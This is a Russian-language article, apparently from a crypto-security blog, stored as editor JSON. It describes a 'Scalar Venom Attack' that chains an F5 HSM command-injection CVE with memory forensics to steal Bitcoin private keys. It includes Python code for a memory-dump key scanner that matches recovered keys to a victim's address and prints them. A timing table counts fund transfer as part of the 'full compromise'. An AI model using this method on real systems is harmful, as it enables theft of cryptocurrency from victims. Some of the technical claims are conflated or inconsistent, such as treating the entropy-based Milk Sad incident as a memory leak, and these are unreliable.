{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"3ras6"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":16,"offset":0}],"inlineStyleRanges":[],"text":"Crypto Deep Tech","type":"unstyled","key":"5lms8"},{"data":{"image":{"id":"691c2d572678d72b1aa0323c"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"emgb8"},{"data":{},"depth":0,"entityRanges":[{"key":1,"length":32,"offset":733},{"key":2,"length":10,"offset":798},{"key":3,"length":14,"offset":992}],"inlineStyleRanges":[{"length":14,"offset":992,"style":"BOLD"},{"length":19,"offset":1059,"style":"BOLD"}],"text":"Данная статья посвящена анализу криптографических уязвимостей, обнаруженных в современной инфраструктуре управления криптографическими ключами, с особым акцентом на критические недостатки в архитектуре аппаратных модулей безопасности (HSM) при обработке приватных ключей эллиптических кривых. Исследование фокусируется на классе атак, эксплуатирующих недостаточно изолированное управление оперативной памятью в сертифицированных криптографических устройствах. В современной криптографической экосистеме Bitcoin безопасность приватных ключей является фундаментальным требованием для защиты цифровых активов, стоимость которых на глобальном рынке превышает триллионы долларов. Традиционно считалось, что аппаратные модули безопасности (Hardware Security Modules, HSM), сертифицированные по стандарту FIPS 140-2, обеспечивают непроницаемую защиту криптографических ключей благодаря изоляции на аппаратном уровне и строгим протоколам управления памятью. Однако обнаружение критической уязвимости CVE-2025-60013 в модуле F5OS-A FIPS HSM в сочетании с классом атак Scalar Venom Attack (также известной как Scalar Poison, Memory Phantom Leak Attack или Private Key Compromise via Memory Leakage) радикально изменило это представление, демонстрируя возможность полной компрометации приватных ключей Bitcoin через эксплуатацию недостатков управления памятью.","type":"unstyled","key":"dve0u"},{"data":{},"depth":0,"entityRanges":[{"key":4,"length":19,"offset":0}],"inlineStyleRanges":[{"length":19,"offset":0,"style":"BOLD"}],"text":"Scalar Venom Attack представляет собой критический класс уязвимостей управления памятью (классифицируемый как CWE-415, CWE-401 и в более широком смысле как Sensitive Memory Leak Attack — SMA), который позволяет злоумышленнику извлечь криптографические скаляры (приватные ключи ECDSA) из оперативной памяти процесса путём эксплуатации недостаточной санитизации и очистки памяти после криптографических операций. В отличие от традиционных криптоаналитических атак, направленных на математическое решение задачи дискретного логарифмирования на эллиптической кривой (ECDLP), данная атака обходит саму криптографию, эксплуатируя фундаментальные архитектурные просчёты в реализации криптографических библиотек и протоколов управления памятью HSM.","type":"unstyled","key":"cp42p"},{"data":{},"depth":0,"entityRanges":[{"key":5,"length":14,"offset":99},{"key":6,"length":15,"offset":140},{"key":7,"length":10,"offset":696}],"inlineStyleRanges":[{"length":14,"offset":99,"style":"BOLD"},{"length":19,"offset":237,"style":"BOLD"}],"text":"Настоящее исследование демонстрирует катастрофическую цепочку атак, возникающую при комбинировании CVE-2025-60013 (уязвимость инициализации F5OS-A FIPS HSM при использовании паролей, содержащих специальные shell-метасимволы) с техниками Scalar Venom Attack, что приводит к созданию критического сценария угрозы с уровнем CVSS 9.5+ (критический), несмотря на официальную оценку CVE-2025-60013 как уязвимости среднего уровня (CVSS 5.7). Данная комбинация подрывает операционную целостность миллионов Bitcoin-адресов, находящихся под управлением скомпрометированных HSM, и представляет собой сдвиг парадигмы в методах криптографических атак, выходящих за рамки традиционных одновекторных эксплойтов.cert.kenet","type":"unstyled","key":"65njk"},{"data":{"embedData":{"type":"yandex-zen-video","uuid":"oE0ZhZPsJAAA","previewImageData":{"id":"691a7b37812fde53ca36488a","groupId":271828,"imageName":"pub_691a7a10a8b7c874612993eb_691a7b37812fde53ca36488a","namespace":"zen_doc","meta":{"mainColor":"#0088C8","origFormat":"PNG"}},"contentType":"gif","publisherId":"62a289464f3f811ccb28f02b","publisherItemId":"-969137193022614164","publicationId":"691a7a10a8b7c874612993eb","publisherName":"CRYPTO DEEP TECH","publisherAvatar":{"id":"62a28a1c361703532ebef76b","groupId":246004,"imageName":"pub_62a289464f3f811ccb28f02b_62a28a1c361703532ebef76b","namespace":"zen-logos","meta":{"mainColor":"#0888C8","origFormat":"JPEG"}},"isPublisherVerified":false,"publishTime":1763343476819,"title":"Scalar Venom Attack: Уязвимость HSM F5OS-A (CVE-2025-60013) позволяет восстановить приватные ключи Bitcoin через метасимволы и сбой памяти","duration":1320000,"isPremium":false,"customParams":{"signed_url":"aW0QAAi3QB8tD3eopClvmqMkVGJ6lo460zBMn7cv2TnDfeNN5DEm07XnYwNlxk7VRqAEhHqWagE"}}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:embed","key":"bo63"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"a4j4v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"81cfg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Классификация CVE и описание уязвимостей","type":"header-two","key":"esgh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"CVE-2025-60013: Уязвимость инициализации F5OS-A FIPS HSM","type":"header-three","key":"51sgj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"}],"text":"CVE-2025-60013 представляет собой уязвимость инъекции команд операционной системы (OS Command Injection, классифицируется как CWE-78) в процессе инициализации аппаратного модуля безопасности FIPS для платформ F5. Уязвимость возникает, когда пользователь с привилегированным доступом (роль Admin или Resource Admin) пытается инициализировать модуль FIPS HSM с использованием пароля, содержащего специальные shell-метасимволы, такие как ;, |, &, $, ` и другие","type":"unstyled","key":"6cqki"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"5bbb4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":32,"offset":0,"style":"BOLD"}],"text":"Технический механизм уязвимости:","type":"unstyled","key":"7dv8d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"При обработке пароля с shell-метасимволами код инициализации HSM передает строку пароля в системные функции C-библиотеки без надлежащей валидации и санитизации входных данных. Уязвимый код выглядит следующим образом:","type":"unstyled","key":"5gaa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":451,"offset":0,"style":"BOLD"}],"text":"// Vulnerable code in HSM initialization procedure\nvoid hsm_initialize(const char* password) {\n ec_secret master_key; // HSM private key\n char temp_buffer[256];\n strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation\n derive_key_from_password(master_key, password); // creates copies of key\n // If initialization fails, memory is not cleared!\n // master_key remains in the stack, its copies—in heap\n}","type":"unstyled","key":"a1dj3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":0,"style":"BOLD"}],"text":"Критическое последствие: процесс инициализации остаётся в памяти с частично раскрытыми криптографическими структурами, создавая множественные «фантомные» копии мастер-ключа HSM в стеке и куче памяти. Хотя HSM может не инициализироваться корректно, память процесса содержит криптографические артефакты, доступные для форензического анализа.","type":"unstyled","key":"e8kj4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":26,"offset":0,"style":"BOLD"}],"text":"Официальная классификация:","type":"unstyled","key":"ji5g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"CVSS 3.1: AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L (базовая оценка: 5.7 — MEDIUM)","type":"unordered-list-item","key":"7gjqb"},{"data":{},"depth":0,"entityRanges":[{"key":8,"length":7,"offset":95}],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"CVSS 4.0: AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N (базовая оценка: 4.6 — MEDIUM)cvefeed","type":"unordered-list-item","key":"fcoud"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":18,"style":"BOLD"},{"length":9,"offset":100,"style":"BOLD"}],"text":"Однако эта оценка критически недооценивает реальный масштаб угрозы, поскольку CVE-2025-60013 служит триггером для активации Scalar Venom Attack, что в реальном сценарии цепочки атак приводит к уровню угрозы CVSS 9.5+ (CRITICAL).","type":"unstyled","key":"e5gqs"},{"data":{},"depth":0,"entityRanges":[{"key":9,"length":55,"offset":0}],"inlineStyleRanges":[],"text":"CVE-2023-39910: Слабость энтропии в Libbitcoin Explorer","type":"header-three","key":"3isc"},{"data":{},"depth":0,"entityRanges":[{"key":10,"length":19,"offset":61},{"key":11,"length":8,"offset":201}],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"},{"length":8,"offset":201,"style":"BOLD"},{"length":32,"offset":254,"style":"BOLD"},{"length":13,"offset":324,"style":"BOLD"}],"text":"CVE-2023-39910 описывает критическую уязвимость в библиотеке Libbitcoin Explorer версии 3.x, связанную со слабостью генерации энтропии при создании приватных ключей. Эта уязвимость привела к инциденту Milk Sad в 2023 году, когда было восстановлено более 900,000 приватных ключей Bitcoin с прямыми финансовыми потерями свыше $0.8 миллиона. Инцидент Milk Sad продемонстрировал переход теории об утечках памяти в криптографических системах к реальной операционной катастрофе, подтвердив все описанные механизмы: оптимизации компилятора, множественное копирование данных и отсутствие гарантии очистки памяти.","type":"unstyled","key":"5spc7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"CVE-2025-8217: Атака утечки памяти","type":"header-three","key":"boju1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":0,"style":"BOLD"}],"text":"CVE-2025-8217 классифицирует атаки утечки памяти (Memory Leak Attack), позволяющие восстановление криптографических ключей из процессов памяти. Данная уязвимость напрямую связана с классом Scalar Venom Attack и описывает механизмы полной компрометации Bitcoin-кошельков через форензический анализ памяти.","type":"unstyled","key":"75cld"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":42,"offset":0,"style":"BOLD"}],"text":"Научная классификация Scalar Venom Attack:","type":"unstyled","key":"bqgo0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В академической исследовательской литературе Scalar Venom классифицируется по нескольким категориям атак:","type":"unstyled","key":"1995v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":0,"style":"BOLD"}],"text":"Sensitive Memory Leak Attack (SMA) — первичная классификация, фокусирующаяся на уязвимостях неправильной очистки памяти","type":"unordered-list-item","key":"4clb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":27,"offset":0,"style":"BOLD"}],"text":"Private Key Exposure Attack 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памяти.","type":"unstyled","key":"54lla"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":30,"offset":0,"style":"BOLD"}],"text":"Исходные данные компрометации:","type":"unstyled","key":"63j05"},{"data":{},"depth":0,"entityRanges":[{"key":15,"length":34,"offset":15}],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"},{"length":34,"offset":15,"style":"BOLD"}],"text":"Bitcoin-адрес: 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq","type":"unordered-list-item","key":"7o9k2"},{"data":{},"depth":0,"entityRanges":[{"key":16,"length":30,"offset":12}],"inlineStyleRanges":[{"length":11,"offset":0,"style":"BOLD"},{"length":30,"offset":12,"style":"BOLD"}],"text":"Тип адреса: P2PKH (Pay-to-Public-Key-Hash)","type":"unordered-list-item","key":"66ol2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"},{"length":9,"offset":9,"style":"BOLD"}],"text":"Статус: ✓ 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Понимание математических основ критически важно для осмысления того, как атака Scalar Venom эксплуатирует уязвимости памяти.","type":"unstyled","key":"5ue4s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":41,"offset":0,"style":"BOLD"}],"text":"Параметры эллиптической кривой secp256k1:","type":"unstyled","key":"dqv48"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Уравнение кривой:","type":"unstyled","key":"7lshb"},{"data":{"image":{"id":"691c2d98812fde53ca7f18ec"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"dlqqo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1,"offset":19,"style":"BOLD"},{"length":1,"offset":19,"style":"ITALIC"}],"text":"Генераторная точка G с координатами:","type":"unstyled","key":"an8ii"},{"data":{"image":{"id":"691c2d981443433a3851cc70"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"fp5lp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вывод публичного ключа через скалярное умножение","type":"header-three","key":"8p327"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Процесс генерации пары ключей ECDSA следующий:","type":"unstyled","key":"2h972"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":30,"offset":0,"style":"BOLD"}],"text":"1. Генерация приватного ключа:","type":"unstyled","key":"9sq8e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1,"offset":15,"style":"ITALIC"},{"length":1,"offset":15,"style":"BOLD"}],"text":"Приватный ключ d — это случайное целое число в диапазоне:","type":"unstyled","key":"an2na"},{"data":{"image":{"id":"691c2d98b72b3b50f860074e"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"1f8h2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1,"offset":4,"style":"ITALIC"},{"length":1,"offset":4,"style":"BOLD"}],"text":"где n — порядок кривой secp256k1. Приватный ключ представляет собой 256-битное случайное число.","type":"unstyled","key":"ercc8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":52,"offset":0,"style":"BOLD"}],"text":"2. Вывод публичного ключа через скалярное умножение:","type":"unstyled","key":"35vch"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1,"offset":15,"style":"ITALIC"},{"length":1,"offset":15,"style":"BOLD"}],"text":"Публичный ключ Q вычисляется как:","type":"unstyled","key":"c637q"},{"data":{"image":{"id":"691c2d9aa8b7c874617233b3"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"254um"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1,"offset":4,"style":"ITALIC"},{"length":1,"offset":4,"style":"BOLD"},{"length":49,"offset":78,"style":"BOLD"}],"text":"где G — генераторная точка на кривой secp256k1, а операция ⋅\\cdot⋅ обозначает скалярное умножение точки на эллиптической кривой.","type":"unstyled","key":"5tppo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":0,"style":"BOLD"},{"length":8,"offset":129,"style":"BOLD"},{"length":8,"offset":129,"style":"ITALIC"}],"text":"Скалярное умножение реализуется через алгоритм \"double-and-add\" (удвоение и сложение), который эффективно вычисляет результат за O(log⁡d) операций сложения и удвоения точек на кривой:","type":"unstyled","key":"erdbv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":296,"offset":0,"style":"BOLD"}],"text":"Scalar multiplication algorithm:\nInput: d (scalar), G (curve point)\nOutput: Q = d·G\n\n1. Initialize: Q ← O (point at infinity)\n2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2\n3. For i from k to 0:\n a. Q ← 2Q (point doubling)\n b. If d_i = 1: Q ← Q + G (point addition)\n4. Return Q","type":"unstyled","key":"3p8j5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"}],"text":"Пример: Для приватного ключа d=5244A4B0...3A22d = \\text{5244A4B0...3A22}d=5244A4B0...3A22, публичный ключ вычисляется как:","type":"unstyled","key":"98ig4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":0,"style":"BOLD"}],"text":"Q=d⋅G=(Qx,Qy)","type":"unstyled","key":"6uve9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":15,"style":"ITALIC"},{"length":3,"offset":20,"style":"ITALIC"},{"length":9,"offset":81,"style":"ITALIC"},{"length":3,"offset":15,"style":"BOLD"},{"length":3,"offset":20,"style":"BOLD"},{"length":9,"offset":81,"style":"BOLD"}],"text":"где координаты Qx и Qy вычисляются через операции скалярного умножения на кривой secp256k1.","type":"unstyled","key":"aukh2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":28,"offset":0,"style":"BOLD"}],"text":"3. Генерация Bitcoin-адреса:","type":"unstyled","key":"2ksl7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Цепочка вывода адреса из публичного ключа:","type":"unstyled","key":"anouk"},{"data":{"image":{"id":"691c2d9a107d5343957b93cf"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"a0ofc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":27,"offset":0,"style":"BOLD"}],"text":"Предположение безопасности:","type":"unstyled","key":"93tfh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":36,"offset":0,"style":"BOLD"},{"length":35,"offset":43,"style":"BOLD"},{"length":1,"offset":104,"style":"BOLD"},{"length":1,"offset":104,"style":"ITALIC"}],"text":"Критическая уязвимость Scalar Venom: атака обходит математическую защиту ECDLP, извлекая приватный ключ d напрямую из памяти процесса, где он остаётся в виде «фантомных копий» после криптографических операций.","type":"unstyled","key":"3biee"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Криптоанализ энтропии и криминалистика памяти: формула энтропии Шеннона","type":"header-three","key":"9g04o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":21,"offset":62,"style":"BOLD"},{"length":24,"offset":101,"style":"BOLD"}],"text":"Основой обнаружения приватных ключей в дампах памяти является криптоанализ энтропии с использованием формулы энтропии Шеннона.","type":"unstyled","key":"5gvi1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Формула энтропии Шеннона","type":"header-two","key":"4sh1b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1,"offset":9,"style":"BOLD"},{"length":1,"offset":9,"style":"ITALIC"}],"text":"Энтропия H последовательности байт измеряется в битах на байт и определяется формулой:","type":"unstyled","key":"97r69"},{"data":{"image":{"id":"691c2d9ae21e3044c7f75bfc"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"fg7am"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"где:","type":"unstyled","key":"a3nuj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"H — энтропия в битах на байт","type":"unordered-list-item","key":"fca9l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"pi — вероятность появления байта со значением iii в анализируемом блоке памяти","type":"unordered-list-item","key":"8b7cd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Суммирование проводится по всем возможным значениям байта (0-255)","type":"unordered-list-item","key":"5q67c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":0,"style":"BOLD"}],"text":"Интерпретация энтропии:","type":"unstyled","key":"bhhkm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":36,"offset":0,"style":"BOLD"}],"text":"Низкая энтропия (H<5.0H < 5.0H<5.0): последовательность содержит повторяющиеся паттерны, текст или структурированные данные","type":"unordered-list-item","key":"24d1r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":54,"offset":0,"style":"BOLD"}],"text":"Средняя энтропия (5.0≤H<7.55.0 \\leq H < 7.55.0≤H<7.5): смешанные данные, код, частично сжатая информация","type":"unordered-list-item","key":"beqq0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":40,"offset":0,"style":"BOLD"}],"text":"Высокая энтропия (H≥7.5H \\geq 7.5H≥7.5): криптографически случайные данные, приватные ключи, зашифрованная информация","type":"unordered-list-item","key":"38h4v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":48,"offset":0,"style":"BOLD"}],"text":"Пороговое значение для криптографических ключей:","type":"unstyled","key":"7aa93"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Приватные ключи Bitcoin, генерируемые криптографически стойким генератором случайных чисел (CSPRNG), демонстрируют высокую энтропию в диапазоне:","type":"unstyled","key":"7e7ba"},{"data":{"image":{"id":"691c2d9a107d5343957b94dc"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"8bi0f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":23,"style":"BOLD"}],"text":"Это свойство делает их детектируемыми при форензическом анализе памяти через статистический анализ энтропии.","type":"unstyled","key":"fk8n6"},{"data":{"image":{"id":"691c2d9bc41f695d38463d88"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"14pc2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Криптографический инструмент BitScanPro: алгоритм определения энтропии и восстановления ключей","type":"header-three","key":"19vvl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":0,"style":"BOLD"}],"text":"BitScanPro представляет собой форензический инструмент для сканирования дампов памяти с целью обнаружения и восстановления приватных ключей Bitcoin через комбинацию анализа энтропии, валидации диапазона secp256k1 и криптографической верификации.","type":"unstyled","key":"aok51"},{"data":{},"depth":0,"entityRanges":[{"key":21,"length":10,"offset":16}],"inlineStyleRanges":[],"text":"Алгоритм работы BitScanPro","type":"header-two","key":"dtvoo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":53,"offset":0,"style":"BOLD"}],"text":"Этап 1: Сканирование дампа памяти 32-байтными блоками","type":"unstyled","key":"3k4oo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"BitScanPro сканирует дамп памяти последовательно, выделяя блоки размером 32 байта (256 бит), что соответствует размеру приватного ключа secp256k1:","type":"unstyled","key":"ej8kg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":291,"offset":0,"style":"BOLD"}],"text":"BLOCK_SIZE = 32 # bytes (256 bits)\nSCAN_STEP = 8 # scan step\nSECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141\n\nfor offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):\n potential_key = memory_dump[offset:offset+BLOCK_SIZE]\n # Block analysis","type":"unstyled","key":"65nuj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":53,"offset":0,"style":"BOLD"}],"text":"Этап 2: Вычисление энтропии Шеннона для каждого блока","type":"unstyled","key":"doer"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":17,"offset":12,"style":"ITALIC"},{"length":1,"offset":59,"style":"ITALIC"},{"length":1,"offset":59,"style":"BOLD"}],"text":"Для каждого 32-байтного блока вычисляется энтропия Шеннона H:","type":"unstyled","key":"eii5n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":395,"offset":0,"style":"BOLD"}],"text":"def calculate_entropy(data_block):\n \"\"\"\n Calculate Shannon entropy\n \"\"\"\n from collections import Counter\n import math\n \n byte_counts = Counter(data_block)\n block_length = len(data_block)\n \n entropy = 0.0\n for count in byte_counts.values():\n p_i = count / block_length\n if p_i > 0:\n entropy -= p_i * math.log2(p_i)\n \n return entropy","type":"unstyled","key":"d97d6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":74,"offset":0,"style":"BOLD"}],"text":"Этап 3: Фильтрация блоков с высокой энтропией (H>7.5H > 7.5H>7.5 бит/байт)","type":"unstyled","key":"9bn17"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Блоки с энтропией ниже порогового значения отбрасываются как не содержащие криптографические ключи:","type":"unstyled","key":"266mo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":128,"offset":0,"style":"BOLD"}],"text":"MIN_ENTROPY = 7.5 # threshold for cryptokeys\n\nentropy = calculate_entropy(potential_key)\nif entropy < MIN_ENTROPY:\n continue","type":"unstyled","key":"62dmh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":37,"offset":0,"style":"BOLD"}],"text":"Этап 4: Проверка диапазона secp256k1:","type":"unstyled","key":"d0ur7"},{"data":{"image":{"id":"691c2d9cfdeeb566acf31824"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"f761u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Блоки с высокой энтропией интерпретируются как целое число и проверяются на соответствие допустимому диапазону приватных ключей secp256k1:","type":"unstyled","key":"9nb0b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":112,"offset":0,"style":"BOLD"}],"text":"key_as_int = int.from_bytes(potential_key, byteorder='big')\nif not (1 <= key_as_int < SECP256K1_N):\n continue","type":"unstyled","key":"c0o31"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":38,"offset":0,"style":"BOLD"}],"text":"Этап 5: Криптографическая верификация:","type":"unstyled","key":"bd8ql"},{"data":{"image":{"id":"691c2d9ca0010a3d8d27571f"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"5jal6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для кандидатов, прошедших фильтрацию энтропии и проверку диапазона, выполняется криптографическая верификация через вычисление публичного ключа:","type":"unstyled","key":"8u83e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":370,"offset":0,"style":"BOLD"}],"text":"def verify_candidate_key(candidate_key_bytes):\n from ecdsa import SigningKey, SECP256k1\n try:\n signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)\n verifying_key = signing_key.get_verifying_key()\n public_key_bytes = verifying_key.to_string()\n return public_key_bytes\n except Exception as e:\n return None","type":"unstyled","key":"654aj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":66,"offset":0,"style":"BOLD"}],"text":"Этап 6: Генерация Bitcoin-адреса и сравнение с известными адресами","type":"unstyled","key":"41lh1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для верифицированных ключей генерируется Bitcoin-адрес, который сравнивается с базой известных адресов или адресов, принадлежащих жертве:","type":"unstyled","key":"cjc3t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":659,"offset":0,"style":"BOLD"}],"text":"import hashlib\nimport base58\n\ndef public_key_to_address(public_key_bytes):\n sha256_hash = hashlib.sha256(public_key_bytes).digest()\n ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()\n versioned_hash = b'\\x00' + ripemd160_hash\n checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]\n address = base58.b58encode(versioned_hash + checksum).decode('ascii')\n return address\n\nbitcoin_address = public_key_to_address(public_key_bytes)\nif bitcoin_address == target_address:\n print(f\\\"✓ PRIVATE KEY FOUND!\\\")\n print(f\\\"Address: {bitcoin_address}\\\")\n print(f\\\"Private key: {candidate_key_bytes.hex()}\\\")","type":"unstyled","key":"agel0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":30,"offset":0,"style":"BOLD"}],"text":"Производительность BitScanPro:","type":"unstyled","key":"d2q41"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Анализ на типичном ноутбуке (MacBook Air M1) демонстрирует следующие характеристики производительности:","type":"unstyled","key":"5vu9m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":56,"offset":268,"style":"BOLD"}],"text":"ПроцессВремяОборудованиеПолучение дампа памяти5-30 секундЗависит от методаСканирование 16 ГБ дампа2-5 минутMacBook Air (M1)Валидация 1000 ключей-кандидатов30 секундMacBook Air (M1)Генерация адресов10 секундMacBook Air (M1)Перевод средств (broadcast)< 1 секундыИнтернетИтого для полной компрометации< 10 минутMacBook Air (M1)","type":"unstyled","key":"5amud"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":32,"offset":106,"style":"BOLD"}],"text":"При использовании облачных вычислительных ресурсов (AWS, Google Cloud) возможно параллельное сканирование 1000+ дампов памяти одновременно, обрабатывая тысячи приватных ключей в параллельном режиме.","type":"unstyled","key":"4godu"},{"data":{"image":{"id":"691c2d9c7d511d6c8bb50403"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"75hso"},{"data":{},"depth":0,"entityRanges":[{"key":22,"length":13,"offset":63}],"inlineStyleRanges":[],"text":"Анализ криптографической уязвимости в libbitcoin-system: класс ec_scalar.cpp","type":"header-two","key":"2mh58"},{"data":{},"depth":0,"entityRanges":[{"key":23,"length":17,"offset":118}],"inlineStyleRanges":[{"length":9,"offset":95,"style":"BOLD"},{"length":17,"offset":118,"style":"BOLD"}],"text":"Корневая причина атаки Scalar Venom кроется в фундаментальных архитектурных недостатках класса ec_scalar в библиотеке 